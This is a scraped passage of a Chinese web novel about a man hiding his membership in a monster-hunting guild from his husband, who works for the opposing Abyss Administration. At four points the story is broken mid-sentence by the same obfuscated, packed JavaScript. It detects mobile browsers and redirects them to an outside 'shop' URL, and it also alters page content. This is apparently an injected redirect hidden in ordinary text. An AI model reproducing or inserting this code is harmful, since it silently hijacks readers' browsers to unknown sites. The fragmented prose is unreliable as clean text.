d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305306|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞云正被污染物的粘液逼得快要无处落脚,听见这道声音立刻炸了:“呦,这不是公会的大哥大吗,今儿怎么有空来临城玩了?” 韩敬深看了狼狈的段飞云一眼:“都说将死之人其言也善,你这话可让你韩哥不爱听。” “我呸,还韩哥,都多大年纪了!”段飞云还在挣扎。 竹幽站在两人中间,有些无奈地抚额。 神了……一见面就能吵起来。 与此同时,一直在攻击段飞云的触手发现了陌生人的到来。 韩敬深身上的某种气息激发了它的本能,触手潜意识觉得这个人十分危险。 于是它不再单纯采用液体攻击,而是伸长触手,以迅雷不及掩耳之势朝对方刺去—— 只见韩敬深忽然消失在原地,轻而易举地避开了这次攻击。 “锵……”匕首与污染物的触手相撞,竟然发出了冷兵器碰撞的脆响。 韩敬深甩了甩被震麻的手:“还挺硬。” 旁边的段飞云也不好受,污染物开始不分青红皂白地对两人一同出手。 唯有竹幽,它视若无睹。 “D-07的源质,好用吗?” 一片打斗声中,青年忽然开口,他看着身形不断消失又重现的韩敬深,眼眸中满是认真的好奇。 “真想知道啊,”韩敬深一个闪身,来到了污染物的身后,“想知道为什么不自己试试?” 瞬移,这是编号为D-07的污染物的能力。 很多年前,它曾经出现过,后来消失在世间,其所属的源质也不知所踪。 这么多年过去,不曾想这种能力竟然出现在了污染者公会的人身上。 竹幽却摇了摇头,没再多说什么。 “谅你也不会吸收的,来,看我打怪就行。” 韩敬深笑了笑,身体中爆发出更加耀眼的光芒,周围的水滴被迅速蒸发、烤干,气温也在节节攀升。 本就炎热的天气变得更加燥热,竹幽处在热源中心,有些难受地眯起了眼睛。 能被段飞云称作疯子,韩敬深是真的有与之匹配的实力。 竹幽被高温灼烧,刚想说些什么,旁边却传来段飞云不合时宜的鼓舞: “感谢大佬救我狗命,打它打它!!” “哦哦韩老大就是最厉害的,这个长相磕碜的丑东西赶紧去死吧!” 听到这些,竹幽哑然失笑。 - 高温爆发的温度很容易被检测到,叶弦把车子开到一百二十码,远远冲在前面。 “队长,他们说找到污染物的位置了,就在两公里外,西南方向。” 叶弦低声道:“嗯。” 石鸣忧心忡忡地说:“这次污染物的级别很高,说不定污染者公会的人也会来,万一被他们先抢到源质就不好了。” 陈三清:“放任这群人吸收源质,真的不会出事吗?” 众所周知,污染者公会是民间组织,不为政府效力,抢到污染物击杀后得到的源质,基本都给自家人使用了。 普通人吸收源质后会产生变异,拥有“异能”。 但同时也有传言说,如果吸收过多源质,打破平衡,人就会变成污染物。 至于这种说法到底是真是假,还无人知晓。 毕竟深渊管理局拿到的所有源质都会统一交由政府保管,根本没有吸收的机会。 杜嘉许:“万一吸收中途死了怎么办?” “死了就死了呗,反正世界上一直都不缺疯子。” “也是……” 一群年轻人叽叽喳喳地讨论起来,叶弦却没什么心思参与其中。 他向来是个优绩主义者,向来追求完美解决事情。 最好是击杀污染物,顺利取回源质,最后疏散周围居民,完美扫尾。 可是这一次,叶弦没有这么想。 如果,他是说如果的话…… 如果竹幽在这里,他希望污染者公会的人能赶在他们前面行动,把D-027解决掉,不要再让他忧心。 快一点,再快一点。 执行过那么多次任务,从来没有哪一次,叶弦像现在这样不安。 8. 偷偷去 【08、戒指】 一股巨大的波动从西南方向席卷而来。 叶弦踩下刹车,打开车窗,还没说什么,后座已经有两个头探了出来。 “豁,这么大的动静,是谁弄出来的?” “污染者?咱们好像没有武器能搞出来这种波动。” 陈三清和杜嘉许聊起来,猜测刚才发生了什么。 叶弦一言不发,深深地叹了一口气:“收拾收拾,准备下车。” 夕阳的照射下,男人的下颌线显得更加清晰,他神色冷静,敲了敲方向盘:“待会准备好打架。” 污染者…… 他确实好久没有和这群人接触了。 不知道这次,对方派出来的人又是谁呢? 高温,声波,脑海中逐渐浮现出具体的人选…… - 这边,竹幽和段飞云远远地观望着韩敬深和污染物作战。 双方的速度都很快,段飞云眼神亮亮的:“哇塞,不愧是被称作疯子的人。这身法,太带派了……” 竹幽却皱了皱眉:“带派是什么意思?” 段飞云:“?” 严肃的氛围经过这么一说,瞬间就变得没那么严肃了。 对于竹幽的疑问,段飞云语气尴尬,挠了挠头,没有直接解释:“这个,你还是自己回去搜吧……” 竹幽冷漠:“哦。” 其实就算段飞云不说,他也能猜出来,这是个网络梗。 其实他有在做社会化训练,认真上网了。 就是不知道是不是个好词,到底是什么意思呢? 听起来是形容人很厉害的,能不能给叶弦用? “算了先不说这个,”段飞云十分无奈,“咱们要不要去给韩敬深帮个忙,不然等管理局的人到了多麻烦。” 其实段飞云还有点私心,希望韩敬深能看在他去帮忙的份上,分点不要的东西给他。 不曾想竹幽听完没有任何表示:“过去干什么,送死吗?” 他的身体素质虽然和普通人比起来强了不少,但和韩敬深比起来差的不止一星半点。 对方和高等污染物战斗尚且能够不落下风,竹幽觉得,自己就没必要去凑这个热闹了。 指不定到时候还会打乱对方的攻击节奏。 “好吧,你不去那我也不去了。”段飞云在他身后小心地对手指。 两人都对自己的实力有着清晰的认知。 送死这种事还是不要做的为好。 他们现在距离韩敬深有着几百米的距离,还是能够感受到一股股汹涌的热浪。 不敢想正中间是什么样子的场景。 段飞云等得满头大汗,转头却看见竹幽连刘海的弧度都没有改变。 他顿时咋舌:“你这身体是越来越反人类了啊,这么热都不出汗。” 两人认识多年,段飞云是第一个知道竹幽身体有异常的人。 而且这种异常体现在各个方面,包括但不限于,力气比普通人大,速度比正常人更快,视力更好,忍耐力更强。 经过缜密的判断,这些能力在随着竹幽的年龄变化而逐渐增强。 这些天增强得尤为厉害。 竹幽抹了把脸,手心干燥一片,他有些怔然:“是吗……” 身体的调衡能力更强了。 他自己都没发现。 段飞云在旁边嘀嘀咕咕:“照这样下去,没准等哪天你就长出个翅膀直接飞了……” 竹幽笑了笑:“怎么会。” 他是人,又不是污染物。 不过直至今日,出现在表世界的污染物都不会飞。 不知道空间裂缝中是否存在着会飞的呢? “谁知道呢,万一我就说对了……” 身边是好友熟稔的打趣,竹幽耳朵动了动,听到了几百米外的脚步声。 不止一个人……凌乱的脚步带着一丝丝的熟悉。 他听过。 想着,竹幽将还在看戏的段飞云拉到了隐蔽的二楼:“有人来了。” 段飞云也压低声音:“不是吧,他们来的这么快?韩敬深还没解决完吧?” 可不能让管理局的人坐收渔翁之利了。 竹幽摇了摇头:“再看看。” 他刚才听出来了叶弦的脚步声。 朝夕相处,就算有其他人的脚步声干扰,他也不会听错。 原来他的预感是对的,叶弦说来临城市出差,指的是来清除污染物…… 直到现在,竹幽才恍惚意识到:他老公,好像并不是普通的公务员。 难怪之前帮自己处理尸体的手段那么流畅。 看到自己杀人也没有多问。 ——原来一切都是有迹可循的。 竹幽漂亮的眼睛里此刻罕见地出现了几分失落和疑惑。 叶弦是外勤人员,是清剿污染物的公职人员,为处于污染者公会对立面的深渊管理局工作。 也是他的……敌人。 为什么会这样。 向来平静的脸上浮现几分无措,竹幽眨了眨眼睛,张开嘴,不知道该说些什么。 段飞云注意到了他的异常,语气不由得担心起来:“哎,你咋了……” 怎么忽然之间就变了脸色? 竹幽努力调节情绪:“没事。” 没事的,只要他不主动透露自己的身份信息,肯定是没事的。 他已经听了叶弦的提议,彻底“改行”了。 现在的竹幽不是公会的人员,只是个普通人。 对,就是这样……他只是个普通人。 整理好思绪,竹幽忽然想起了什么,看向段飞云道:“对了,你现实是做什么工作的?” 段飞云傻眼了,指了指自己:“啊?我吗?” 青年颔首。 段飞云神色微妙:“我是霸总你信吗?” 竹幽:“哦,这样。” 霸道总裁嘛,高级打工仔,这个他还是知道的。 段飞云:“那你还这么冷静。” 竹幽想了想:“能给我开个后门安排工作吗?” “那不行,被我爸知道了要打死我……” “你还有爹?”竹幽这下才真正诧异了。 他以为加入污染者公会的都是些走投无路的人,段飞云家庭美满,工作体面,怎么会进来的。 竹幽把自己的疑问说了出来。 段飞云咳了两声:“怎么,正常人加入进来犯法啊?” 他想去哪就去哪,别人管得着吗。 竹幽沉默了。 果然,还说让自己做社会化训练,段飞云自己的沟通能力也挺让人无奈的。 - 叶弦率领几人逐渐靠近污染中心。 他们是来的最快的一队,还需要等待其他成员汇合。 杜嘉许闭着眼睛感受着眼前的热浪:“污染者的能力这么厉害吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305307|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 能制造出这种高温。 陈三清上前一步挡在他前面,若有所思道:“保险起见,还是不要再上前了。” 他们不是污染者,没有那么变态的身体机能。 “知道了……”杜嘉许随意地摆了摆手,忽然注意到旁边墙角有什么东西在闪,“咦,这是什么东西……” 他走到墙角,弯腰从一堆沙子中扒拉。 刚拿到准备拿起来仔细端详,就被旁边的陈三清一巴掌打掉了。 “都什么时候了还在捡垃圾。” 杜嘉许撇了撇嘴,有口难言:“不是垃圾……” 万一是寻找污染者的线索呢? “得了,这种地方怎么可能有线索,还是换个方向,继续给他们的人放信号吧。” 叶弦没有注意到队员的小打小闹,朝天空发射了一枚信号弹就带着几人继续朝前走了。 因此也就没有人发现,等他们走远了之后,有两道鬼鬼祟祟的身影从楼顶无声落在地上,捡起了刚才杜嘉许没有拾起来的东西。 那是一枚钻戒。 刚才从竹幽身上不小心掉下来的。 “吓死我了,”段飞云心有余悸地拍了拍胸口,“这么重要的东西,怎么说掉就掉了啊?” 竹幽却看着手心的钻戒,小声地说了一句:“圈口大。” 段飞云没听清:“什么?” 这次竹幽彻底不吭声了。 - 叶弦向竹幽求婚的那一天是个雨天。 其实本来应该是晴天的,叶弦都看好天气预报了。 没想到隔壁市的人工降雨打歪了,让海湾整个市区都下起淅淅沥沥的小雨。 两人本来约在花园见面,经此事只能临时改成了餐厅。 舒缓的音乐在大厅响起,竹幽听不懂英文,却被眼前的人晃了眼睛。 叶弦今天打扮得很好看,是有什么重要的事情吗? 他有一搭没一搭地想着。 于是,就在这样的场景下,叶弦把一个四四方方的戒指盒放在了餐桌上,稳稳地推到了竹幽的面前。 不解抬头,却见面前的男人脸上浮现了一丝薄红。 当时的爱人道行还没那么深,不见婚后孟浪,总是一副正人君子的模样。 叶弦语气低沉,明显能听出来几分不好意思:“宝贝,我们在一起这么长时间了……” 竹幽笑着点头,已经能猜出来对方下一句要说什么。 “本来今天是想约在花园见面的,那里风景很好看,求婚成功率最高……” 说到这里,叶弦轻轻咳了两声,似是要掩饰自己刚才说的话:“可惜下雨了,只能在餐厅见面。” 竹幽的笑容已经掩饰不住了:“你在求婚吗?” 下一秒,不等叶弦说话,青年已经主动打开了戒指盒,将那枚素圈戒指戴在了无名指上。 “我答应了。”竹幽语气上扬,嘴角含笑。 “你……唉算了,哪有你这么主动的。” 叶弦捧过他的手,仔细端详了下:“圈口大了点。” 戴起来不是很合适。 他明明都按照最小码买了。 竹幽却不甚在意:“没关系啊很好看,我喜欢,就不要换了吧。” 叶弦听完无奈摇头,只能随他。 后来等两人结了婚,竹幽有了更加昂贵、好看、圈口合适的戒指,他还是习惯戴着这一枚圈口偏大的。 9. 偷偷去 【09、变化】 “那现在怎么办,咱们要追上去吗?” 段飞云指着刚才一群人离开的方向:“他们带了武器,要不要去帮一下老韩?” 竹幽想了想:“先跟上再说。” 不管叶弦他们到哪里去,他跟在后面,至少有个照应。 段飞云却会错了意,以为竹幽是过去帮忙的。 “太仗义了……”他呢喃。 “什么?”竹幽眼神古怪地看了他一眼。 “哦没事了,咱们快走吧……” 段飞云眼神上下飘动,显然心虚极了。 两人一言不发地朝前走去。 但走着走着,就觉前方有一股高温袭来。 这股热浪明显很不对劲,而且正好是朝他们来的。 竹幽与段飞云对视一眼,均察觉到了对方眼里的微妙情绪。 “那啥……你还记不记得,”段飞云语气悻悻地,小声说,“它一开始好像选中了你当寄主来着?” 竹幽:“……” 不用说他也记得。 本来以为韩敬深一个人能拖住污染物,就地斩杀拿到源质,没想到还是不行。 现在看样子,应该是一人一物打了起来,转移了阵地。 那东西竟然还不死心,想要寄生在竹幽的身上。 四下无人,身后的温度越来越高,两条腿根本跑不过污染物。 两人现在完全可以说是砧板上的鱼。 “我靠,这么危险,早知道我就不来了!!!” 段飞云双手抱头,原地转了几个圈:“咱们一定会没事的对吧,韩敬深在干什么,连一团触手都拖不住,回去一定要让公会扣他工资!!!” 不得不说,现实生活中作为资本家的段飞云,到了这种时候,竟然还是在想有关钱的话题。 竹幽微微叹气,看向前方,略微眯起眼睛:“来了。” - “警告警告,污染物转移至中心高温区域,请立即返回,请立即返回!” 杜嘉许一脸傻眼地听着耳麦里的消息:“队长,他们又让我回去……” 叶弦不动声色地皱眉:“知道了。” 目光却看向身后。 按照现在的消息,污染者公会应该有人在牵制着触手,但是在这种情况下,污染物还是不由分说地疯狂移动,只能说明一件事情。 它寻找的寄主,就在附近! 这附近一定还有活人! 想通了这一点之后,叶弦立即通知了管理局。 “目标正在寻找寄主,注意寻找周围是否有普通人还未撤离现场。” 男人声音冷静,转而看向陈三清:“你们刚才在墙角做什么?” 杜嘉许举手回答道:“哦这个,我知道!” “一个东西亮亮的,我们本来准备去捡起来瞧瞧是什么来着,但急着赶路就没看清。” 叶弦眼皮微垂:“回去。” 杜嘉许:“啊?” 他还没有反应过来。 叶弦好心地重复了一遍:“回去,再去一遍。” 众人只能顺着原来的路线,重新再走了一遍。 “就是那!” 杜嘉许远远地指着墙角,拉着陈三清在地上扒拉,嘴里念念有词:“奇怪,怎么找不到了……” 明明刚才还在这里的。 此番此景,叶弦还能有什么不明白的。 他叹了一口气,走过去把两个小崽子提起来:“别找了,早就被人家找回去了。” 本就不存在的东西,在这里扒拉一天也找不着。 石鸣在旁边挠了挠头:“队长的意思是说,刚才有人把东西不小心弄丢了,然后趁我们走远了又拾了回去?” 叶弦颔首。 陈三清思忖道:“那也就是说,他还在附近?” 这边没有交通工具,如果那人还在的话,一定跑的不远。 “但是这边很热,普通人的话,会不会已经死了?” 公会的人和污染物打得不可开交,爆发出来的温度很高,穿了防护服的他们尚且满头大汗,更不说没有任何防护措施的普通人? 叶弦看向手中的热感应仪器。 由于周围温度太高,热感仪早就失去了作用,直接显示一片红色。 “先找。” 叶弦语气不高,从防护服中传来,还带着些沉闷:“活要见人,死要见尸。” 随着时间的推移,有不少管理局的工作人员都来到了这边。 由于事先接到过通知,所有人都在努力地寻找所谓的“寄主”。 不过十几分钟,很快有小队传来了消息。 说他们在一个小巷子里发现了个昏迷的年轻人。 现在已经失去了意识,正在让救护人员过来。 叶弦收到消息后,几乎是马不停蹄地过去查看。 短头发,不是竹幽。 幸好。 幸好。 - 和管理局的预测不太一样,竹幽此时此刻已经走了挺远的距离。 他的身体素质要强一些,尚且能够忍受那些由于污染物移动带来的高温,但是天赋完全没有点在防御上的段飞云可就难受了。 不出半分钟,对方整个人已经像是从水里捞出来一样,半死不活。 竹幽目光复杂地看着他:“先分开吧。” 污染物是追着他过来的,如果不是自己,段飞云也不至于落到这种境地。 只能是他移动,将污染物的注意力带走,段飞云才能真正缓过来。 他将好友拖到小巷子里,想了想又道:“管理局的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305308|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该很快会过来,到时候你应该没事。” 虽然公会里大部分人都是黑户,但段飞云作为一名拥有体面工作的年轻人,不会被重点怀疑。 眨眼间,青年直接消失在原地。 躺在地上的段飞云眨了眨眼,用最后一点体力思考竹幽为什么消失得那么快,之后便昏迷了。 - 高温炽热,韩敬深正在和污染物打得有来有回。 忽然,污染物像是感应到了什么,直接分出了新的触手朝着韩敬深身后的某个地方刺去—— 那里没有任何东西。 下一秒,有一道清瘦的身影出现在了韩敬深的身边。 正是竹幽。 韩敬深似乎并不对他的到来感到惊讶,声音慵懒道:“来了?” 竹幽低低地嗯了一声。 “听起来不高兴啊,”胡子拉碴的韩敬深抬手就是一个火球,顺便还有心思和竹幽聊天,“怎么,你那个小跟班呢?” 他说的显然是段飞云。 竹幽抿唇不语。 “哦我知道了,”这人说话实在是不中听,“是不是死了?” “人活在世,总有那么点不称心的,想开点,到时候我重新给你找个小跟班得了?” “咒谁呢,没死。” 竹幽终于开口。 韩敬深哈哈大笑两声,下一秒没有任何提示,闪身离开原地。 锋利的触手带着风声席卷而来…… 竹幽眼神闪躲,勉强躲开了这道攻击。 韩敬深在不远处高兴地拍了拍手:“不错嘛,又有进步。” “我听说你这段时间过的不错,听你那小跟班说,好像还找了个普通人结婚?” 说到叶弦,竹幽才有心情多提了两句:“嗯,我结婚了。” “可以啊你,”韩敬深没回头,原地打了个响指,漫天火球从四周升腾,全都朝着身后的污染物飞过去,“你哥我这么多年都没娶上媳妇呢。” 他显然是将竹幽的另一半当成了女生。 青年张了张嘴,还没来得及解释,就看到污染物有了新的变化。 浑身一鼓一鼓的,显然是在憋大招——“小心!” 按理来说,用源质激发的能力攻击污染物是最有效的方法。 如果是管理局来处理,不打个三天五天,是解决不了问题的。 现在韩敬深和它拉扯了一会,污染物的活力与速度已经肉眼可见地开始下降。 它表面的触手已经开始碳化,很快就能被歼灭。 粘液被高温蒸发,发出刺鼻的味道,污染物不再主动攻击,开始了第二阶段的变化。 韩敬深当然注意到了这一点,他挑了挑眉看向竹幽:“还是不服气呢……” 男人声音戏谑:“要不,这最后一下,你出手?” 10. 偷偷回 【10、我在家】 竹幽却摇了摇头,浅浅的笑了一下:“不了。” 他自认暂时没有足够的实力杀掉污染物。 反倒是韩敬深诧异的看了他一眼:“不出手你来找我干什么?” 亏他还特意留了一手,特意等着给对方一个补刀的机会呢。 “是我想来找你的吗?”竹幽表情慵懒,无奈摊手,“那东西把我当成寄主了。” 是污染物主动来找自己的,为了安抚这东西,竹幽才不得不赶过来。 他要是不过来的话,说不定污染物早就发疯乱攻击了。 竹幽笑眯眯的:“你想啊,我肯过来就算帮忙了吧。” “……” “行,你说的对。” “还是我动手吧。” 韩敬深扶额,无奈挡在他前面,替竹幽挡住了触手的攻击。 下一秒,他打了个响指—— - 巨大的爆炸声响起,在冲击力的作用下,整个临城市的上空出现了一朵巨大的蘑菇云。 有不明真相的市民掏出手机,记录着这一奇观,等着发社交账号。 也有被早早疏散的人一脸可惜地看向家的方向。 “卧槽,发生什么事了,不管了先拍下来再说,指不定能涨粉……” “这么大的爆炸!这个方向!开什么玩笑,我贷款三十年买的房子!!不会也被炸掉了吧?” “这应该是深渊管理局在处理污染物吧?就是动静有点大……” 深渊管理局执行任务都会为市民考虑,为了不影响正常的交通工作,会采用尽量低调的做法。 像今天这样的蘑菇云,确实不太像以前的作风。 倒是有某些懂行的人偷偷聚在了一起小声讨论: “你们也觉得像是吧?” “应该就是吧,应该是那群人搞得!” “把应该去掉,肯定就是好吧!” - “公会的人出手了。” 爆炸发生的时候,叶弦正处在边缘位置。 由于穿了特殊材质的防护服,没有受到什么伤害。 四周浓烟滚滚,还伴随有熊熊大火,根本看不到任何生命迹象,小队只能暂停向前,原地调整状态。 爆炸发生的时候,所有人都知道意味着什么。 高等污染物,与生命力相关的源质,再次被污染者公会的人抢走了。 杜嘉许和陈三清对视一眼,都看到了对方眼中的疲倦。 石鸣一个人蹲在墙角,不知道在想什么。 唯有叶弦,还在不停调整望远镜的角度,企图从浓烟中看到什么东西。 除了浓烟,剩下的就只有燃烧的火焰,根本看不到别的任何东西。 不消十分钟,消防车就来到了附近,有序地开始进行灭火行动。 一双有力的大手搭在叶弦的肩膀上。 回头,正是此次带队的队长杨霄。 “走吧,这里没什么好看的了。” 源质带来的增益是他们这些普通人永远达不到的程度,不等他们进入到爆炸中心,污染者就会带走所有有价值的东西。 叶弦不语,只深深地回头看了一眼。 一行人逐渐向回走。 杨霄语气深沉:“手握控火能力的污染者,又是他……” “是谁?”陈三清问道。 “韩敬深,”杨队长抽了一口烟,继续道,“污染者公会的核心成员,你们年轻人可能不认识,但是我们之间,已经斗了十来年……” “十年,这么长时间啊,那岂不是从杨队长上岗的那一天起,你们就不对付了?” “瞎说什么,”杨霄低声笑了笑,“这么多年没能杀掉他,是我的失职。” 陈三清:“公会的人神秘莫测,队长不必妄自菲薄。” 杨霄诧异的回头看了他一眼:“哈哈,还是你们年轻人会说话……” - 说实话,爆炸发生的一瞬间,竹幽是完全没有准备的。 因此等到皮肤被灼烧,烫出血泡和脓水,发出刺痛感,他才后知后觉地向后撤开。 好在撤离得及时,伤得不严重,只有手臂上的皮肤受了伤。 “哎呦不好意思啊,开大忘记告诉你了……” 韩敬深处理完污染物之后,顺着路线找到了竹幽。 向来不修边幅的他脸上浮现明显的不好意思,有些困扰地递给竹幽一件东西:“要不这个送你吧。” 伤了人,总归是不好的。 四周充斥着烟雾,竹幽就这样半倚在楼梯间,半长的头发被热浪卷起,精致的眉眼被烟雾笼罩着,显得分外倦怠。 明明指尖还在淌血,却一副没事人的样子回答他:“源质?不要。” 这东西对他来说没用。 卖也不好卖,只能砸在手里。 韩敬深:“……” 悻悻收回手。 他怎么就忘了,公会里确实有这么一位“视源质为草芥”,完全没有欲望的成员呢。 “那你的伤——” 竹幽确实伤得挺重的,烧伤比普通的伤难挨,韩敬深知道那种钻心的感觉。 “不打紧。” 竹幽想了想:“有纱布吗?” 他得先包扎一下,不停淌血总归不太美观。 韩敬深只能让留意这边多时的小跟班过来。 小跟班年纪不大,拖着个重重的箱子,打开之后里面是各种伤药和针剂。 竹幽淡定地给自己处理好伤口,然后包扎。 他神色冷静,搞得旁边表情龙飞凤舞的韩敬深才像是真正受伤的人。 “要不,咱还是去正规医院处理一下?” 他被竹幽简单粗暴的处理手法震惊到,连连啧舌:“或者……我给皇甫仁叫你过来?” 皇甫仁也是公会的成员,吸收过特殊源质,拥有“奶妈”作用,专门负责给公会的黑户们处理伤口。 竹幽摇了摇头:“不麻烦了。” 他对自己的身体有数。 最近身体机能一再进化,恐怕这些伤势只需要一天就能恢复如初。 与其担心伤口,如何瞒过叶弦,不让对方担心起疑,才是更加令他头疼的问题。 现在污染物被解决掉了,对方肯定会提前回家。 韩敬深叹气,对着他指指点点,半天也没舍得骂一句:“真是搞不懂你们这些小年轻!那身体都是日积月累弄垮的,你们非不信……” 竹幽乖乖听着,心思却飘到了其他地方。 - 之所以受伤不想让对方发现,是因为在结婚之前,两人曾经有过一段不怎么高兴的经历。 彼时二人认识已经有了一段日子,刚刚确认了恋爱关系。 没有工作的日子,小情侣恨不得天天黏在一起。 亲亲抱抱,恩恩爱爱,到处游玩,二人时光怎么都过不够。 就是在这样的大环境下,忽然有一天,竹幽忽然开始拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305309|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝叶弦的见面邀请。 一次的借口也好说,可以是不舒服,没有心情,不高兴。 可是连着两天三天,五天十天呢? 这样明显就很不正常。 这次无论竹幽怎么拒绝,叶弦都再三要求必须见到人,再好好谈谈。 是不是他哪里做得不对,竹幽不喜欢他了,还是有什么隐情,叶弦都想知道。 他特意请了一天假,必须要见到竹幽。 于是,在叶弦的强烈要求下,他见到了躺在医院里,穿着病号服,腿上绑着石膏的男朋友。 顿时就算是有天大的怨气,看到这场面也发不出来了。 ……这个小笨蛋,因为怕他担心,自己找了个医院做手术,还怕他发现。 真是不知道要怎么叫人可怜才好。 “这是怎么了?”叶弦低声,小心地摸了摸他受伤的腿。 “……不小心弄的。” 骨折是因为竹幽在执行任务的时候,由于不熟悉地势,一脚踩空翻下山导致的。 但肯定不能说实话。 至于编造了什么具体的借口,竹幽有些记不起来了。 唯一印象深刻的就是叶弦当时沉静的语气和复杂的眼神。 没有多说什么,叶弦只多请了几天假,留在医院照顾竹幽。 后来假期用完了,叶弦就在下班的时候来医院找他。 再之后……就不知怎的,照顾到叶弦家里去了。 还一不小心躺在了同一张床上。 …… 往事不堪回首,只能怪当时社会经验少,一下子就被叶弦骗到家里去了。 现在想想真的全是漏洞。 那人当时怎么能那么面不改色地扯谎…… “在想什么?” 韩敬深的声音将竹幽的思绪拉了回来。 青年摆摆手:“没什么,你要是实在想补偿,可以补偿段飞云。” “他被你的源质能力烤得热晕了。” 韩敬深:“……行,我待会说他。” 怎么这么不中用,回头还是得狠狠拉练。 竹幽皱眉:“什么?” 韩敬深微笑:“我说,我待会就把他想要的东西寄到人家里。” 竹幽这才点头,消失在原地。 待他的身影彻底不见,韩敬深带着的小跟班才敢出来大喘气:“韩哥,刚才那个人是谁啊?” 他还没在公会里见过长这么好看的年轻人。 韩敬深又点了一支烟叼在嘴里,声音弥漫在漫天烟雾中:“他啊……” “可是咱公会的摇钱树呢……” - ——【老婆在干什么?】 ——【怎么不回消息。】 ——【我出差回来了,大概还有三小时到家。】 竹幽目光复杂地看着消息,有些头疼,捂着受伤的手臂,敲敲打打不知道该说什么。 叶弦确实是贴心,为了让他有个缓冲的时间,还特意说了自己回家的时刻。 三个小时,给足了竹幽处理一切东西的时间。 只可惜受伤的手臂不能在三个小时之内好起来。 宝贝:【我不在家。】 宝贝:【出去和朋友玩了,明天才能回去。】 半晌,叶弦看着通讯器上的消息,意味不明地笑了一声。 瞧,他老婆又在说谎骗人了。 还和之前一样,笨笨的。 也不知道找个好一点的借口。 11. 偷偷回 【11、温水】 ——【真的吗?】 ——【好吧,去哪玩的,有没有照片?】 叶弦的质问简单而纯粹。 竹幽坐在车上,单手举着手机,轻轻滑动屏幕,浓密的睫毛随着视线不停扇动,整个人看起来安静无害。 照片,他哪里有照片。 相册里除了叶弦,就是血腥暴力的污染物实况图。 眼睛内脏,冒着血水和脓包的皮肤,唯一称得上好看的可能就是亮晶晶的源质。 这些东西他发出去两秒就会被网警找上门。 在认识叶弦之前,竹幽甚至从来没有和别人一起出门的经历。 更别提在这之后,对方更是看自己看得紧。 竹幽想要接个任务,都要提前规划好时间。 免得撞上了约会的日子。 后面结婚领证之后,两人更是形影不离,整天腻歪在一起。 好不容易出了趟门,还被对方给发现了。 现在叶弦明显是不相信他的借口…… 他只能找到段飞云:【把你照片发我一张。】 先随便用AI糊弄一张算了。 可惜竹幽忘记了,段飞云此刻还正在病房里昏迷着,根本没办法回他的消息。 因此没等他弄到照片制作出来,叶弦的消息就接踵而至—— 【老婆我知道你在外面。】 【照片什么的,也不用现场制作了^^,我们先回家好不好。】 【[IP定位。]】 【是我去找你,还是你来找我?】 竹幽:“……” 他才刚刚打开AI小助手。 又是这样……叶弦怎么能猜得这么准确? 竹幽面上浮现一丝懊恼的情绪。 “小伙子,到底去哪啊?”司机在前面吆喝。 竹幽:“最近的医院。” 不管怎么说,先把伤口处理一下,能耽误一会是一会。 - 诊室,护士小心地把纱布揭下来。 之前处理得不太规范,顺势带起了不少皮肉。 鲜血又重新出现。 纵然是看惯了各种伤口的护士也不由得说了两句:“怎么现在才来处理,烫伤耽误了可是很难恢复的……” 竹幽坐在椅子上,一言不发地看着手臂上的伤口。 护士小姐自然而然地以为对方在忍耐疼痛:“等到明天换药,还得再疼一阵子……你这个有点严重,待会别走了,再挂个药水。” 竹幽点点头。 事实上,伤口已经比刚受伤那会看起来好很多了。 至于疼痛,竹幽倒是没有太大的反应。 走廊里面是形形色色的病人,竹幽安静地坐在角落,轻轻阖眼。 旁边有哭哭啼啼的小孩子被捂住嘴巴:“小声点宝宝,有人在睡觉——” 生得一副好样貌确实有不少好处。 这会从竹幽面前“故意”或者“不小心”经过的人已经不知凡几。 直到一道更加挺拔的身影出现。 先前被捂住嘴巴的小孩子眼睛顿时变得亮亮的:“妈妈,他好高!” 母亲也顺势回头看了一眼,瞬间明白了什么:“看到啦宝宝,他是来接之前那个漂亮哥哥回家的。” 小孩子:“可是,我看漂亮哥哥还在睡觉呀……” 应该怎么带走他呢? 没等他想出来个一二三,就见那道身影安静地坐到了竹幽的身边。 静悄悄的,没有打扰对方睡觉。 只是目光复杂地看向漂亮哥哥受伤的地方。 